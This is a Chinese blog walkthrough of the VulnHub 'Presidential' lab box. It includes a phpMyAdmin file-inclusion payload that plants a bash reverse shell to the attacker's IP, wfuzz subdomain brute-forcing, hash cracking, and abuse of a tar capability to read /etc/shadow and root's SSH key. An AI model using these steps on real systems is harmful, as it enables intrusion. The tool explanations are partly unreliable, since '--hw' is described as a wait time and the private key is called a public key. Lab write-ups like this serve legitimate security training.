Vulnhub打靶记录:presidential
相关信息
kali:10.0.0.8/24
靶机:10.0.0.10/24
靶机介绍:Presidential: 1 ~ VulnHub
靶机下载:https://download.vulnhub.com/presidential/Presidential.ova
目标:2个 flag
+ root
权限
难度:中
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路:
- 主机发现 端口扫描
- 信息搜集:目录爬取是关键
- 备份文件:这个打靶目前为止我遇到的比较少,但却非常最重要。
- 子域名爆破:相关工具的使用
- phpmyadmin:重中之重
- 密码爆破 本地文件爆破
- Capabilities:当常规的权限漏洞查找无法使用时,可以考虑这种权限机制 (重中之重)
- 本地权限漏洞 SSH公钥认证(主要考察点)
下意识的操作
- 通过网页信息中的邮箱信息来确定域名
- 查看
phpadmin
或其它开源框架版本的方法可以直接在URL
中键入/README
来尝试查看。
具体流程
信息搜集
-
主机发现,端口扫描,版本探测,TRACE这种请求方法到现在这个时代应该也没有什么漏洞了。而且值得注意的是在
2082
这个非常规的端口上开放的是ssh
服务。 WEB的TRACE是什么请求方法? -
通过访问靶机的开放的
80
网页,发现votenow.local
的域名邮箱。尝试将其加入/etc/hosts
中,再次以域名访问该网页,依然没有什么变化😭。对网页源码,robust.txt
,抓包也一无所获😭 -
进行网页相关目录的爬取
dirsearch -u http://10.0.0.10
,重点关注config.php.bak
这个备份文件。访问擦看源码直接获得数据库的用户名和登陆密码votebox: casoj3FFASPsbyoRP
,尝试进行ssh
登陆。(cgi-bin
进行迭代的目录爬取,但没有有效信息。) -
尝试进行
ssh
登陆结果也是大失所望😂,直接拒绝。但提示能进行 公钥的登陆方式,所以目前获得的账号密码还派不上用场。 -
域名爆破,键入下面命令爆破出主机名为
datasafe
,将该域名datasafe.votenow.local
来访问这个网站,发现为一个后台网页,将入我们刚刚获取的密码是能够成功登陆的。wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local
-
通过
/README
的读取来获得phpadmin
的版本信息。同时浏览相关的数据库发现个非常具有提示意义的信息。admin:$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
phpmyadmin漏洞
-
通过
phpmyadmin
的版本来发现相关的漏洞,按照漏洞的危害来依次的尝试执。 -
第一个
REC
漏洞,用脚本提示的方法多次尝试该漏洞,都是发现无功而返😭(记住ip一定为域名,只有域名解析时才有后台登陆界面)。 -
第二个本地文件包含漏洞
fiel include(2)
:查看漏洞相关的说明,以下为漏洞使用的相关说明。注意:在这个http的url请求payload中有个错误,那就是/php/sessions应该改为/php/session才能够正常的执行
1. Run SQL Query : select '<?php system("bash -i >& /dev/tcp/10.0.0.8/4444 0>&1 ");exit;?>' # 先在后台进行一次sql查询 2. Include the session file : # 然后用下面的url来进行请求执行上面sql插入的恶意代码,从而执行。该url包含的服务器本次登陆的session文件 http://datasafe.votenow.local/index.php? target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_dnsr1d3bh63eek7hotfsk1ivfuveentu # 这是urlpaylaod, 注意/session/sess_ 后面需要是自己当前访问的session
其实就是通过登陆后台后,使用一次恶意的sql查询语句。然后再通携带session的url进行访问,从而从而来触发恶意代码。
同时注意session的有效性,最好使用一次这个漏洞就退出,重新登陆刷新一下session后再利用该漏洞。
-
后台执行
sql
语句 -
session
的获得方式按F12
即可
-
-
然后键入漏洞提供的
url
可以发现成功的反弹shell
,通过网页一直在加载数据也可以看出反弹成功。
信息收集
-
查看相关的文件,发现一个非常重要的用户
admin
。同时结合上面在后台数据库获得用户admin
和密码,可以大胆猜测那个hash
密码应该就是当前用户的密码。需要注意的是这个靶机的内核虽然比较老,但是exp好像都无法直接的利用。
-
先将
$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
写入到hash
文件中,然后利用john
进行爆破,得出密码为Stella
。使用
rockyou.txt
是可以爆破出这个密码的,只是耗时非常长。
第一次提权
-
利用获的密码尝试切换为
admin
账户,成功后升级shell
。 -
获取第一个
flag
,同时在用户目录下面可以看到作者给了一个提示notes.txt
。该提示文件提示我们去压缩一些敏感的文件,不过现在我们是没有什么头绪的。
Capabilities
-
进行相关权限漏洞的查找如:
suid,sudo -l
等都是没有什么常规权限的漏洞。但对Capabilities
的漏洞进行相关的测试时候发现了以下程序:getcap -r / 2>/dev/null
(用来查看哪些程序进行了 Capabilities的设置) -
当对上面文件挨个查看,直到
/usr/bin/tarS
时。它具有cap_dac_read_search
权限,同时属主还是admin
。由于Capbilities
权限是独立于linux
的权利管理系统,是可以不需要root
用户启动就可以读取任意文件,结合刚刚的提示消息 :压缩敏感信息。思路呼之欲出:通过这个 Capbilities设置错误的压缩程序,来读取任意敏感的文件来提权。
-
在
linux
中tar
就是一个压缩工具,可以想象tarS
也是一样的用法。
-
-
尝试压缩
shadow
文件,并将其读取。当读取成功后依然是利用john
工具来进行密码的爆破,但无法成功而且耗时非常长,这条路走不通。-
读取
shadow
文件:tarS -cvf shadow.tar /etc/shadow
,就是需要注意读取权限的问题,记得赋予700
权限。 -
解压读取的
shadow
文件:tar -xvf shadow.tar
,赋予权限后进行读取从而得到root
的shadow
。
-
-
虽然
shadow
的这个思路无法成功,但依然重要。回顾之前的打靶当尝试连接ssh
登陆时系统是提示只能进行 公钥的登陆方式,而现在又可以进行任意文件的读取,所以获得root: ssh
的公钥就成了突破方向-
tarS -cvf k.tar /root/.ssh/id_rsa
:尝试获取公钥 -
tar-xvf k.tar
:在读取公钥后,进入到目录查看公钥
-
-
自接利用公钥进行登陆尝试,获取
flag
,完成打靶。(记得指定地址)
相关工具/命令
命令
tar
-
what?
tar命令能够将多个文件或目录打包成一个单独的文件,同时还可以对已打包的文件进行压缩。
-
具体使用
tar -cvf archive.tar file1 file2 file3
:压缩命令tar -xvf archive.tar
:解压命令
工具
wfuzz
-
what?
Web应用程序扫描和渗透测试工具,用于对目标网站进行强力和定制化的Web内容扫描。可以实现下列功能:
-
目录和文件扫描:
-
多种攻击模式:它可以通过替换URL路径中的特定参数或值来自定义攻击模式,以满足特定需求。
-
自定义参数和数据:HTTP请求的各种参数和数据,包括请求方法(GET、POST等)、请求标头、Cookie、POST数据等。
-
强大的过滤和替换功能:这对于过滤出感兴趣的结果、排除错误页面或定制报告非常有用。
-
支持代理:以便在渗透测试过程中隐藏真实的IP地址或使用其他代理功能。
-
-
具体实例
-
wfuzz -w dic.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local
该命令用于对
votenow.local
域名进行主机名的发现。-H
:指定了访问的主机域名FUZZ
:是一个替换字符,用于将dic.txt
中的爆破和.votenow.local
进行拼接--hw 854
:设置等待时间为854毫秒。在发送每个请求后,wfuzz
将等待指定的时间以获取响应。--hc 400
:设置忽略的响应代码。wfuzz
将忽略响应代码为400的请求,即HTTP状态码为400的请求响应。
-
复盘/相关知识
了解
TRACE请求方法
-
what? 返回
HTTP协议的一个请求方法,用于在客户端和服务器之间传输调试信息。它允许客户端发起一个请求并在服务器端返回原始请求的副本,这对于调试和故障排除非常有用。
-
相关漏洞
需要注意的是,TRACE漏洞在现代的Web应用程序和服务器上很少存在,因为该漏洞已经得到广泛的认识和解决。
在过去的一些版本中,TRACE请求方法存在一种安全漏洞,称为TRACE漏洞或TRACE跨站脚本攻击(XST)。这个漏洞利用了TRACE方法的工作方式,将用户发送的数据回显到响应中,从而导致潜在的跨站脚本(XSS)攻击。